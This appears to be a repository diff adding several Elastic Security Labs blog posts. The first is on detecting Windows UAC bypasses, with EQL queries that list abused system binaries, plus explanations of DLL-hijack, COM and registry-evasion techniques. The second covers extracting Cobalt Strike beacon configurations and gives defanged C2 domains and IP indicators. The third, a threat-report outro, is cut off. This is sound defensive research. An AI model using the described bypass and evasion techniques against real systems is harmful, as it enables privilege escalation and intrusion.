An example of a UAC bypass that manipulates the Windows environment variables registry key is [byeintegrity5](https://github.com/AzAgarampur/byeintegrity5-uac). To illustrate this, this bypass uses this primitive to redirect the normal execution flow of the CDSSync scheduled task (set to **Run with highest privileges** ) and elevate the integrity level as shown below.
|
||||
|
||||

|
||||
|
||||
When the CDSSync scheduled task is run, taskhostw.exe will try to load npmproxy.dll from the %windir%\System32 folder, but because the malware controls %windir%, it can redirect taskhostw.exe to load a DLL named npmproxy.dll from a path it controls as shown below.
|
||||
|
||||

|
||||
|
||||
UAC bypasses based on environment variable manipulation often work when UAC is set to **Always Notify** (the maximum UAC level) as they often don’t involve writing files to secured paths or starting an autoElevated application. Changes to SystemRoot or Windir from the current user registry to non-expected values are very suspicious and should be a high-confidence signal for detection.
|
||||
|
||||
## DLL Hijack
|
||||
|
||||
The DLL hijack method usually consists of finding a missing DLL (often a missing dependency) or winning a DLL file write race by loading a malicious DLL into an elevated process. If UAC is enabled but not set to **Always Notify,** then malware can perform an elevated [IFileOperation](https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-ifileoperation) (no UAC prompt) to create/copy/rename or move a DLL file to a trusted path (i.e., System32), then trigger an elevated program to load the malicious DLL instead of the expected one.
|
||||
|
||||
The IFileOperation is performed by dllhost.exe (COM Surrogate) with process.command_line containing the classId \{3AD05575-8857-4850-9277-11B85BDB8E09\}.
|
||||
|
||||

|
||||
|
||||
We can use the following [EQL correlation](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html) to link any file operation by dllhost.exe followed by loading a non-Microsoft signed DLL into a process running with system integrity:
|
||||
|
||||
```
|
||||
EQL search - UAC bypass via IFileOperation (Medium to System Integrity)
|
||||
|
||||
sequence by host.id
|
||||
[file where event.action in ("creation", "overwrite", "rename",
|
||||
"modification") and
|
||||
|
||||
/* IFileOperation are performed by DllHost */
|
||||
process.name : "dllhost.exe" and user.id : "S-1-5-21-*" and
|
||||
|
||||
/* executable file dropped via NewItem, Rename, Move or
|
||||
Copy IFileOperation */ (file.extension : "dll" or
|
||||
file.Ext.header_bytes : "4d5a*") and
|
||||
|
||||
/* protected system paths usually abused via DLL search order hijack */
|
||||
file.path : ("?:\\Windows\\system32\\*",
|
||||
"?:\\Windows\\syswow64\\*",
|
||||
"?:\\Program Files (x86)\\Microsoft\\*",
|
||||
"?:\\Program Files\\Microsoft\\*"
|
||||
)] by file.path
|
||||
[library where
|
||||
/* non MS signed DLL loaded by a System Process */
|
||||
user.id : "S-1-5-18" and
|
||||
process.executable :
|
||||
("?:\\Windows\\system32\\*",
|
||||
"?:\\Windows\\syswow64\\*",
|
||||
"?:\\Program Files (x86)\\Microsoft\\*",
|
||||
"?:\\Program Files\\Microsoft\\*") and
|
||||
not (dll.code_signature.subject_name : "Microsoft *" and
|
||||
dll.code_signature.trusted == true)] by dll.path
|
||||
```
|
||||
|
||||
This is an example detection of [UACME 30](https://github.com/hfiref0x/UACME/tree/v3.2.x) sideloading [wow64log.dll](http://waleedassar.blogspot.com/2013/01/wow64logdll.html) into an instance of WerFault.exe running as System (which provides a good direct jump from Medium to System integrity) shown below.
|
||||
|
||||

|
||||
|
||||
If UAC is set to **Always Notify,** then finding a missing DLL or winning a file write race condition into a path writable by a Medium integrity process is a valid option. This is an [example](https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/) of UAC bypass hijacking the SilentCleanup scheduled task (via a file write race condition) which spawns a high integrity descendant process DismHost.exe executing from an AppData subfolder (writable by Medium integrity) and this is [another variation](https://github.com/EncodeGroup/UAC-SilentClean) that abuses the same task but for a missing dependency. api-ms-win-core-kernel32-legacy-l1.dll.
|
||||
|
||||

|
||||
|
||||
Another DLL Hijack primitive that can achieve the same goal is to use [DLL loading redirection](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection) via creating a folder within the same directory of the targeted elevated program (e.g. target_program.exe.local and dropping a DLL there that will be loaded instead of the expected one).
|
||||
|
||||
This technique can be also used as a primitive for local privilege escalation in the case of a vulnerability that allows the creation of a folder (with a permissive Access Control List) to a controlled location such as described by [Jonas Lykkegård](https://twitter.com/jonasLyk) in this blog [From directory deletion to SYSTEM shell](https://secret.club/2020/04/23/directory-deletion-shell.html).
|
||||
|
||||
```
|
||||
EQL search - Potential Privilege Escalation via DLL Redirection
|
||||
|
||||
library where user.id : "S-1-5-18" and
|
||||
dll.path : ("?:\\Windows\\system32\\*.exe.local\\*",
|
||||
"?:\\Windows\\syswow64\\*.exe.local\\*",
|
||||
"?:\\Program Files (x86)\\Microsoft\\*.exe.local\\*",
|
||||
"?:\\Program Files\\Microsoft\\*.exe.local\\*") and
|
||||
not (dll.code_signature.subject_name : "Microsoft *" and
|
||||
dll.code_signature.trusted == true) and
|
||||
process.executable :
|
||||
("?:\\Windows\\system32\\*",
|
||||
"?:\\Windows\\syswow64\\*",
|
||||
"?:\\Program Files (x86)\\Microsoft\\*",
|
||||
"?:\\Program Files\\Microsoft\\*")
|
||||
```
|
||||
|
||||
This query matches on [UACME](https://github.com/hfiref0x/UACME/tree/v3.2.x) method 22, which targets consent.exe (executing as System), tricking it into loading comctl32.dll from the SxS DotLocal directory instead of System32:
|
||||
|
||||

|
||||
|
||||
> It’s worth also mentioning that the majority of UAC bypasses via DLL hijack are also useful for persistence and may bypass detection based on [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) (known file and registry persistence locations).
|
||||
|
||||
## Elevated COM Interface
|
||||
|
||||
This method is a bit different from the previous ones, meaning no direct operation redirection is involved. Instead, it relies on finding an elevated COM interface that exposes some form of execution capabilities (i.e., CreateProcess / [ShellExec](https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512#file-akagi_41-c-L130) wrapper) that can be invoked to launch a privileged program passed via arguments from a medium integrity process.
|
||||
|
||||
From a behavior perspective, usually, those COM interfaces will be executed under the context of dllhost.exe (COM Surrogate) with process.command_line containing the classId of the targeted COM object, this will usually result in the creation of a high integrity child process.
|
||||
|
||||
Below are examples of different malware families adopting this method for UAC bypass (such as [DarkSide](https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside) and [LockBit](https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit) ransomware families) to elevate integrity level before launching the encryption and evasion capabilities, which is good prevention choke point:
|
||||
|
||||

|
||||
|
||||
## Token Security Attributes
|
||||
|
||||
An insightful [observation](https://twitter.com/tiraniddo/status/1192583900645732352?lang=fr) was made by [James Forshaw](https://twitter.com/tiraniddo) for the possibility of leveraging process [token security attributes](https://github.com/processhacker/processhacker/blob/76d00575597c9c6baabcf2cbb81e7e099ac31f8f/phnt/include/ntseapi.h#L194-L204) to identify processes launched as descendants of an auto-elevated application.
|
||||
|
||||
[ProcessHacker](https://github.com/processhacker/processhacker/blob/ac8578d86bbca9924e9cec2c09ec495d44a6f3fd/ProcessHacker/tokprp.c#L3118-L3171) also captures this type of information. Below is an example of Token Properties for a notepad.exe instance launched via the fodhelper UAC bypass.
|
||||
|
||||

|
||||
|
||||
The LUA://HdAutoAp attribute means it’s an auto-elevated application (populated also for elevated COM objects and AppInfo hardcoded whitelisted processes). LUA://DecHdAutoAp means it’s a descendant of an auto elevated application, which is very useful when tracking the process tree generated via a UAC bypass.
|
||||
|
||||
[Elastic Endpoint security 7.16](https://www.elastic.co/blog/whats-new-elastic-security-7-16-0) and above capture this information with process execution events (process.Ext.token.security_attributes) which open up the opportunity to hunt and detect UAC bypasses hijacking the execution flow of an auto-elevated program or COM Interface with no prior knowledge of the bypass specifics (targeted binary, COM Interface, redirection method, and other important details):
|
||||
|
||||
Suspicious Auto Elevated Program Child Process:
|
||||
|
||||
```
|
||||
EQL search - Detecting UAC bypass via Token Security Attributes
|
||||
|
||||
process where event.action == "start" and
|
||||
process.Ext.token.integrity_level_name : ("high", "system") and
|
||||
process.parent.command_line != null and
|
||||
/* descendant of an auto-elevated application or COM object */
|
||||
process.Ext.token.security_attributes : "LUA://DecHdAutoAp" and
|
||||
(
|
||||
/* common lolbins, evasion and proxy execution programs */
|
||||
process.pe.original_file_name :
|
||||
("rundll32.exe",
|
||||
"cmd.exe",
|
||||
"pwsh*",
|
||||
"powershell.exe",
|
||||
"mshta.exe",
|
||||
"msbuild.exe",
|
||||
"regsvr32.exe",
|
||||
"powershell.exe",
|
||||
"cscript.exe",
|
||||
"wscript.exe",
|
||||
"wmic.exe",
|
||||
"installutil.exe",
|
||||
"msxsl.exe",
|
||||
"Microsoft.Workflow.Compiler.exe",
|
||||
"ieexec.exe",
|
||||
"iexpress.exe",
|
||||
"RegAsm.exe",
|
||||
"installutil.exe",
|
||||
"RegSvcs.exe",
|
||||
"RegAsm.exe",
|
||||
"javaw.exe",
|
||||
"reg.exe",
|
||||
"schtasks.exe",
|
||||
"sc.exe",
|
||||
"net.exe",
|
||||
"net1.exe",
|
||||
"vssadmin.exe",
|
||||
"bcdedit.exe",
|
||||
"wbadmin.exe",
|
||||
"msiexec.exe") or
|
||||
|
||||
/* suspicious or unusual paths */
|
||||
process.executable : ("?:\\Windows\\Microsoft.NET\\*",
|
||||
"?:\\Users\\Public\\*",
|
||||
"?:\\Programdata\\*",
|
||||
"?:\\Windows\\Temp\\*",
|
||||
"?:\\Windows\\Tasks\\*",
|
||||
"?:\\Windows\\System32\\Tasks\\*") or
|
||||
|
||||
/* MS signed but from unusual paths */
|
||||
(process.code_signature.trusted == true and
|
||||
process.code_signature.subject_name : "Microsoft *" and
|
||||
not process.executable : ("?:\\Windows\\system32\\*.exe",
|
||||
"?:\\Windows\\SysWOW64\\*.exe",
|
||||
"?:\\Program Files\\*.exe",
|
||||
"?:\\Program Files (x86)\\*",
|
||||
"?:\\ProgramData\\Microsoft\\*",
|
||||
"\\Device\\HarddiskVolume*\\Windows\\System32\\*.exe",
|
||||
"\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\*.exe") and
|
||||
|
||||
/* runs from temp folder and invoked by different elevated processes */
|
||||
not process.pe.original_file_name == "DismHost.exe"
|
||||
) or
|
||||
|
||||
/* elevated and unsigned or untrusted programs excluding
|
||||
third party uninstallers executed via appwiz.cpl */
|
||||
((process.code_signature.trusted == false or
|
||||
process.code_signature.exists == false) and
|
||||
not (process.parent.name : "dllhost.exe" and
|
||||
process.parent.command_line :
|
||||
"*FCC74B77-EC3E-4DD8-A80B-008A702075A9*"))) and
|
||||
|
||||
/* Rundll32 FPs */
|
||||
not (process.name : "rundll32.exe" and
|
||||
process.args :
|
||||
("devmgr.dll,DeviceProperties_RunDLL",
|
||||
"?:\\Windows\\system32\\iesetup.dll,IEShowHardeningDialog") and
|
||||
process.parent.name : ("dllhost.exe", "ServerManager.exe")) and
|
||||
|
||||
/* uninstallers executed via appwiz.cpl */
|
||||
not (process.args : "/uninstall" and
|
||||
process.parent.name : "dllhost.exe" and
|
||||
process.parent.command_line : "*FCC74B77-EC3E-4DD8-A80B-008A702075A9*")
|
||||
and
|
||||
|
||||
/* server manager may spawn interactive powershell commands */
|
||||
not (process.name : "powershell.exe" and
|
||||
process.parent.executable : "?:\\Windows\\System32\\ServerManager.exe")
|
||||
and
|
||||
|
||||
/* Windows Installer service descendants */
|
||||
not (process.parent.executable : "?:\\Windows\\System32\\msiexec.exe" and
|
||||
process.parent.args : "/V")
|
||||
```
|
||||
|
||||
The above query also matches on all the descendants of a UAC bypass and not only the direct child process.
|
||||
|
||||
Here we can see this approach detecting the fodhelper execution flow hijacking via registry key manipulation:
|
||||
|
||||

|
||||
|
||||
Here is an example of this matching UAC Bypass by [Mocking Trusted Directories](https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e).
|
||||
|
||||

|
||||
|
||||
Below are examples of matches for 3 different UAC bypasses via Elevated COM Interface:
|
||||
|
||||

|
||||
|
||||
## Detection Evasion
|
||||
|
||||
A good number of evasion techniques that are not limited to UAC bypass were discussed in [this](https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html) blog post by [hFireF0X](https://twitter.com/hFireF0X) such as renaming a folder or registry key, registry symbolic links to break detection logic based on specific file path/registry key changes or correlation of different events by the same process. Although the majority of malware families don’t bother to modify and tune those techniques, accounting for those evasion opportunities is a must for more resilience.
|
||||
|
||||
Below is an example of file monitoring evasion via directory rename ([UACME 22](https://github.com/hfiref0x/UACME/tree/v3.2.x)).
|
||||
|
||||

|
||||
|
||||
Here is an example of registry key path monitoring evasion via key rename ([byeintegrity8](https://github.com/AzAgarampur/byeintegrity8-uac)).
|
||||
|
||||

|
||||
|
||||
Another interesting evasion trick that was added recently to [UACME v.3.5.7](https://github.com/hfiref0x/UACME/commit/75b39e214ef6c2e37f04463f89aa0433afb2b08a#diff-b88fec8a22ebca61cc2ebfb4b0e1549b50fd179f262228e018ab2463cb4efc56R567) is the [CurVer](https://docs.microsoft.com/en-us/windows/win32/shell/fa-progids) subkey, which can be used to redirect the shell Default handler. This effectively bypasses detections looking for hardcoded suspicious registry path/values:
|
||||
|
||||

|
||||
|
||||
For file-based detection related to DLL hijacking, it is better to use DLL load events ([Elastic Endpoint Security 7.16](https://www.elastic.co/blog/whats-new-elastic-security-7-16-0) logs non-Microsoft signed DLLs). For registry ones, a mix of registry.data.strings, and value names should be a bit more resilient than the full key path.
|
||||
|
||||
The example [EQL correlation](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html) below shows how to detect DLL loading from a directory masquerading as System32 (i.e as a result of windir/systemroot environment variable modification):
|
||||
|
||||
```
|
||||
EQL search - Detect redirection via rogue Windir/SystemRoot
|
||||
|
||||
sequence by process.entity_id with maxspan=1m
|
||||
[process where event.action == "start" and
|
||||
/* any process running as high or system integrity */
|
||||
process.Ext.token.integrity_level_name : ("high", "system")]
|
||||
[library where dll.path :
|
||||
/* masquerading as windir/system root */
|
||||
("?:\\*\\System32\\*.dll", "?:\\*\\SysWOW64\\*.dll") and
|
||||
not dll.path :
|
||||
("?:\\Windows\\System32\\*.dll","?:\\Windows\\Syswow64\\*.dll") and
|
||||
not (dll.code_signature.subject_name : "Microsoft *" and
|
||||
dll.code_signature.trusted == true)]
|
||||
|
||||
```
|
||||
|
||||
This example shows matches for 2 different techniques (registry key manipulation and DLL hijack via fake Windir):
|
||||
|
||||

|
||||
|
||||
The next example combines a [registry symbolic link](https://scorpiosoftware.net/2020/07/17/creating-registry-links/) and registry key rename to evade fodhelper UAC bypass detection based on registry key changes monitoring (ms-settings or shell\open\command):
|
||||
|
||||

|
||||
|
||||
[UACME v.3.5](https://github.com/hfiref0x/UACME) and above [implements](https://github.com/hfiref0x/UACME/commit/e9495cfd2ff074ca8d4a3722428212e09c981817#diff-b88fec8a22ebca61cc2ebfb4b0e1549b50fd179f262228e018ab2463cb4efc56R163) this evasion for methods involving registry key manipulation.
|
||||
|
||||
You can hunt using Elastic Endpoint or Sysmon logs registry symbolic link creation by looking for registry modification with value name equal to SymbolicLinkValue.
|
||||
|
||||
An example KQL query to detect this evasion is: registry.value :"SymbolicLinkValue" and registry.key :S-1-5-21-15_Classes\_\*`:
|
||||
|
||||

|
||||
|
||||
## Most Common UAC Bypasses
|
||||
|
||||
Malware families in use in the wild constantly shift and change. Below you can see a quick overview of the top commonly observed UAC bypass methods used by malware families:
|
||||
|
||||
| Method | Malware Family |
|
||||
| ----------------------------------------------------- | --------------------------- |
|
||||
| UAC Bypass via ICMLuaUtil Elevated COM Interface | DarkSide, LockBit, TrickBot |
|
||||
| UAC Bypass via ComputerDefaults Execution Hijack | ClipBanker, Quasar RAT |
|
||||
| UAC Bypass via Control Panel Execution Hijack | AveMaria, Trojan.Mardom |
|
||||
| UAC Bypass via DiskCleanup Scheduled Task Hijack | RedLine Stealer, Glupteba |
|
||||
| UAC Bypass via FodHelper Execution Hijack | Glupteba, BitAT dropper |
|
||||
| UAC Bypass Attempt via Windows Directory Masquerading | Remcos RAT |
|
||||
|
||||

|
||||
|
||||
Most common executed commands via a UAC bypass are either the malware re-execute itself as high integrity or defense evasions techniques such as:
|
||||
|
||||
- Tamper with AV exclusions or state
|
||||
- Writing to HKLM protected registry keys
|
||||
- Tamper with system recovery settings
|
||||
|
||||
## Conclusion
|
||||
|
||||
Designing detections by focusing on key building blocks of an offensive technique is much more cost-effective than trying to cover the endless variety of implementations and potential evasion tunings. In this post, we covered the main methods used for UAC bypass and how to detect them as well as how enriching process execution events with token security attributes enabled us to create a broader detection logic that may match unknown bypasses.
|
||||
|
||||
In addition to the broader detections highlighted in this blog post, Elastic Endpoint Security comes with 26 prebuilt endpoint behavior protections for UAC bypasses.
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME) (and its sub references)
|
||||
- [https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html](https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html)
|
||||
- [https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-1.html](https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-1.html)
|
||||
- [https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-2.html](https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-2.html)
|
||||
- [https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-3.html](https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-3.html)
|
||||
- [https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html](https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html)
|
||||
- [https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e](https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e)
|
||||
- [https://github.com/AzAgarampur/byeintegrity5-uac](https://github.com/AzAgarampur/byeintegrity5-uac)
|
||||
- [https://github.com/AzAgarampur/byeintegrity8-uac](https://github.com/AzAgarampur/byeintegrity8-uac)
|
||||
- [https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/](https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/)
|
||||
- [https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control](https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control)
|
||||
- [https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
- [https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html](https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html)
|
|
@ -0,0 +1,160 @@
|
|||
---
|
||||
title: "Extracting Cobalt Strike Beacon Configurations"
|
||||
slug: "extracting-cobalt-strike-beacon-configurations"
|
||||
date: "2022-09-09"
|
||||
description: "Part 2 - Extracting configurations from Cobalt Strike implant beacons."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
- slug: derek-ditch
|
||||
- slug: seth-goodwin
|
||||
- slug: andrew-pease
|
||||
image: "photo-edited-03@2x.jpg"
|
||||
category:
|
||||
tags:
|
||||
- cobalt strike
|
||||
---
|
||||
|
||||
Please check out our [previous post](https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack) on how to collect Cobalt Strike beacon implants. We'll build on that information to extract the configurations from the beacons.
|
||||
|
||||
In this post, we'll walk through manually analyzing a Cobalt Strike C2 configuration from a binary beacon payload using the excellent [Cobalt Strike Configuration Extractor (CSCE)](https://github.com/strozfriedberg/cobaltstrike-config-extractor). We'll also cover enabling some newer features of the Elastic Stack that will allow you to do this at scale across all your monitored endpoints, by extracting the beacons from memory.
|
||||
|
||||
> The team at Blackberry has a tremendous handbook called “[Finding Beacons in the Dark](https://www.blackberry.com/us/en/forms/enterprise/ebook-beacons-in-the-dark)” (registration required) that dives extensively into Cobalt Strike beacon configurations. We’ll discuss a few fields in the configurations here, but if you’re interested in learning about how beacons function, we strongly recommend checking that resource out.
|
||||
|
||||
## Cobalt Strike Configuration Extractor
|
||||
|
||||
The [Cobalt Strike Configuration Extractor (CSCE)](https://github.com/strozfriedberg/cobaltstrike-config-extractor) by Stroz Friedberg is a "python library and set of scripts to extract and parse configurations from Cobalt Strike beacons".
|
||||
|
||||
To use the CSCE, we'll create a Python virtual environment, activate it, and install the CSCE Python package.
|
||||
|
||||
## Setting up the Cobalt Strike Configuration Extractor
|
||||
|
||||
```
|
||||
$ python3 -m venv csce
|
||||
|
||||
$ source csce/bin/activate
|
||||
|
||||
(csce) $ pip3 install libcsce
|
||||
|
||||
...truncated...
|
||||
Collecting libcsce
|
||||
Using cached libcsce-0.1.0-py3-none-any.whl (24 kB)
|
||||
Collecting pefile>=2019.4.18
|
||||
...truncated...
|
||||
```
|
||||
|
||||
Next, we can run the CSCE on the beacon payload we extracted from memory to see if there's any interesting information stored we can collect (we'll add the `--pretty` flag to make the output easier to read as a JSON document).
|
||||
|
||||
## Viewing the atomic indicators of the CS beacon configuration
|
||||
|
||||
```
|
||||
(csce) $ csce --pretty beacon.exe
|
||||
|
||||
{
|
||||
"beacontype": [
|
||||
"HTTPS"
|
||||
],
|
||||
"sleeptime": 45000,
|
||||
"jitter": 37,
|
||||
"maxgetsize": 1403644,
|
||||
"spawnto": "GNEtW6h/g4dQzm0dOkL5NA==",
|
||||
"license_id": 334850267,
|
||||
"cfg_caution": false,
|
||||
"kill_date": "2021-12-24",
|
||||
"server": {
|
||||
"hostname": "clevelandclinic[.]cloud",
|
||||
"port": 443,
|
||||
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4G...
|
||||
...truncated...
|
||||
```
|
||||
|
||||
Immediately, we can see that the beacon uses HTTPS to communicate and that the domain is `clevelandclinic[.]cloud`. This gives us an atomic indicator that we can do some analysis on. Looking at the [Malleable Command and Control documentation](https://www.cobaltstrike.com/help-malleable-c2), we can get a description of the configuration variables.
|
||||
|
||||
As an example, we can see that the `sleeptime` is `450000` milliseconds, which changes the default beacon check in from every 60-seconds to 450-seconds, or 7 ½ minutes. Additionally, we see a jitter of `37` meaning that there is a random jitter of 37% of `450000` milliseconds (`166,500` milliseconds), so the beacon check-in could be between `283,000` and `450,000` milliseconds (4.7 - 7.5 minutes).
|
||||
|
||||
Additionally, the `publickey` field is used by the Cobalt Strike Team Server to encrypt communications between the server and the beacon. This is different from normal TLS certificates used when accessing the C2 domain with a browser or data-transfer libraries, like `cURL`. This field is of note because the Team Server uses the same publickey for each beacon, so this field is valuable in clustering beacons with their perspective Team Server because threat actors often use the same Team Server for multiple campaigns, so this data from the configuration can be used to link threat actors to multiple campaigns and infrastructure.
|
||||
|
||||
Continuing to look at the configuration output, we can see another interesting section around the `process-inject` nested field, `stub`:
|
||||
|
||||
## Viewing the process-inject.stub field
|
||||
|
||||
```
|
||||
(csce) $ csce --pretty beacon.exe
|
||||
|
||||
...truncated...
|
||||
"process-inject": {
|
||||
"allocator": "NtMapViewOfSection",
|
||||
"execute": [
|
||||
"CreateThread 'ntdll!RtlUserThreadStart'",
|
||||
"CreateThread",
|
||||
"NtQueueApcThread-s",
|
||||
"CreateRemoteThread",
|
||||
"RtlCreateUserThread"
|
||||
],
|
||||
"min_alloc": 17500,
|
||||
"startrwx": false,
|
||||
"stub": "IiuPJ9vfuo3dVZ7son6mSA==",
|
||||
"transform-x86": [
|
||||
"prepend '\\x90\\x90'"
|
||||
],
|
||||
...
|
||||
```
|
||||
|
||||
The `stub` field contains the Base64 encoded MD5 file hash of the Cobalt Strike Java archive. To convert this, we can again use CyberChef, this time add the "From Base64" and "To Hex" [recipes](<https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)To_Hex('None',0)>), ensure you change the "Delimiter" to "None" in the "To Hex" recipe.
|
||||
|
||||

|
||||
|
||||
Now that we have the MD5 value of the Java archive (`222b8f27dbdfba8ddd559eeca27ea648`), we can check that against online databases like VirusTotal to get additional information, specifically, the SHA256 hash (`7af9c759ac78da920395debb443b9007fdf51fa66a48f0fbdaafb30b00a8a858`).
|
||||
|
||||

|
||||
|
||||
Finally, we can verify the SHA256 hash with CobaltStrike to identify the version of the Java archive by going to [https://verify.cobaltstrike.com](https://verify.cobaltstrike.com) and searching for the hash.
|
||||
|
||||

|
||||
|
||||
Now we know that this beacon was created using a licensed version of Cobalt Strike 4.4.
|
||||
|
||||
Another field from the configuration that is helpful in clustering activity is the `license_id` field.
|
||||
|
||||
## Viewing Cobalt Strike watermark
|
||||
|
||||
```
|
||||
...truncated
|
||||
"spawnto": "GNEtW6h/g4dQzm0dOkL5NA==",
|
||||
"license_id": 334850267,
|
||||
"cfg_caution": false,
|
||||
...truncated...
|
||||
```
|
||||
|
||||
This is commonly referred to as the Watermark and is a 9-digit value that is unique per license. While this value can be modified, it can still be used in conjunction with the `process-inject.stub` and `publickey` fields (discussed above) to cluster infrastructure and activity groups.
|
||||
|
||||
These are just a few fields that can be used to identify and cluster activities using configurations extracted from the Cobalt Strike beacon. If you're interested in a very in-depth analysis of the configuration, we recommend you check out the [Finding Beacons in the Dark Cobalt Strike handbook by the team at Blackberry](https://www.blackberry.com/us/en/forms/enterprise/ebook-beacons-in-the-dark).
|
||||
|
||||
## Putting Analysis to Action
|
||||
|
||||
To test out our analyst playbook for collecting Cobalt Strike beacon payloads, their configurations, and metadata contained within; we can apply those to more data to identify clusters of activity.
|
||||
|
||||

|
||||
|
||||
In the above illustration, we can cluster threat actors based on their shared uses of the beacon payload public key, which as we described above, is unique per Team Server. This would allow us to group multiple beacon payload hashes, infrastructure, and campaigns to a single Threat Actor.
|
||||
|
||||
As always, using the atomic indicators extracted from the beacon payload configurations (`clevelandclinic[.]cloud` in our example) allow you to identify additional shared infrastructure, target verticals, and threat actor capabilities.
|
||||
|
||||
### This time at full speed
|
||||
|
||||
All of the steps that we've highlighted in this release, as well as the [previous release](https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack), can be automated and written into Elasticsearch using the [Cobalt Strike Beacon Extraction](https://www.elastic.co/security-labs/cobalt-strike-beacon-extractor) project.
|
||||
|
||||

|
||||
|
||||
## Summary
|
||||
|
||||
In this post, we highlighted new features in the Elastic Stack that can be used to collect Cobalt Strike Malleable C2 beacon payloads. Additionally, we covered the processes to build Fleet policies to extract beacon payloads from memory and their configurations.
|
||||
|
||||
These Fleet policies and processes enable security analysts to collect Cobalt Strike beacon payloads and their configurations to identify threat actor controlled infrastructure and cluster activity.
|
||||
|
||||
## Artifacts
|
||||
|
||||
Observable | Type | Note -------------------------------------------------------------------|-------------|------------------------------------------ `697fddfc5195828777622236f2b133c0a24a6d0dc539ae7da41798c4456a3f89` | SHA256 | Cobalt Strike Malleable C2 beacon payload `7475a6c08fa90e7af36fd7aa76be6e06b9e887bc0a6501914688a87a43ac7ac4` | SHA256 | Cobalt Strike Malleable C2 beacon payload `f9b38c422a89d73ebdab7c142c8920690ee3a746fc4eea9175d745183c946fc5` | SHA256 | Cobalt Strike Malleable C2 beacon payload `clevelandclinic[.]cloud` | domain-name | Cobalt Strike Malleable C2 domain `104[.]197[.]142[.]19` | ipv4-addr | Cobalt Strike Malleable C2 IP address `192[.]64[.]119[.]19` | ipv4-addr | Cobalt Strike Malleable C2 IP address
|
||||
|
||||
## Artifacts
|
||||
|
||||
Artifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9ba95a979c5a3026/628e88d904574953584774c8/extracting-cobalt-strike-indicators.zip) in both ECS and STIX format in a combined zip bundle.
|
|
@ -0,0 +1,58 @@
|
|||
---
|
||||
title: "Fall 2023 Global Threat Report Outro"
|
||||
slug: "fall-2023-global-threat-report-outro"
|
||||
date: "2023-10-19"
|
||||
description: "This article highlights the essential contributions to the Global Threat Report from the Security Intelligence team, and describes three major phenomena impacting the threat landscape."
|
||||
author:
|
||||
- slug: devon-kerr
|
||||
image: "image4.png"
|
||||
category:
|
||||
- slug: reports
|
||||
tags:
|
||||
- gtr
|
||||
---
|
||||
|
||||
After months of diligent work, Elastic Security Labs is excited to announce the publication of the [October 2023 Global Threat Report](https://www.elastic.co/explore/security-without-limits/2023-global-threat-report). For our second annual publication of this kind, we knew it was going to be a greater effort– not only did the volume of events increase more than 1000%, we had entirely new types and depth of visibility from features released since our inaugural report.
|
||||
|
||||
It goes without saying (but let’s say it for good measure) that none of this would be possible without our users sharing more than one billion security events each year with us. And it certainly wouldn’t be possible without our Elastic colleagues who make our powerful world-spanning capability.
|
||||
|
||||
One essential contributor is the Threat Research and Detection Engineering team (TRaDE), who develop features like rules and investigation guides, and assigned the legendary [Terrance DeJesus](https://twitter.com/_xDeJesus). Terrance was instrumental in creating the inaugural report, applying his [cloud attack surface expertise](https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one) and security operations experience to this process. Another crucial team is Security Data Analytics (SDA), which is responsible for all the systems that enable us to analyze telemetry. [Chris Donaher](https://twitter.com/c_donaher) leads SDA by day (also by night, technically), and helped us comb through hundreds of millions of events this year.
|
||||
|
||||
The work from these teams and the rest of Elastic Security Labs shows our commitment to providing security teams with actionable intelligence about threat phenomena so they can better prepare for, resist, and evict threats. By democratizing access to knowledge and resources, including publications like the Global Threat Report, we hope to demonstrate a more effective way to improve security outcomes. We’re more secure together and we can’t succeed without each other.
|
||||
|
||||
In our observations, we identified the following factors as reactions to security innovations that are making environments hostile to threats:
|
||||
- Heavy adversary investments in defense evasion like using built-in execution proxies to run malicious code, masquerading as legitimate software, and software supply-chain compromise
|
||||
- Significant research devoted to bypassing, tampering with, or disabling security instrumentation
|
||||
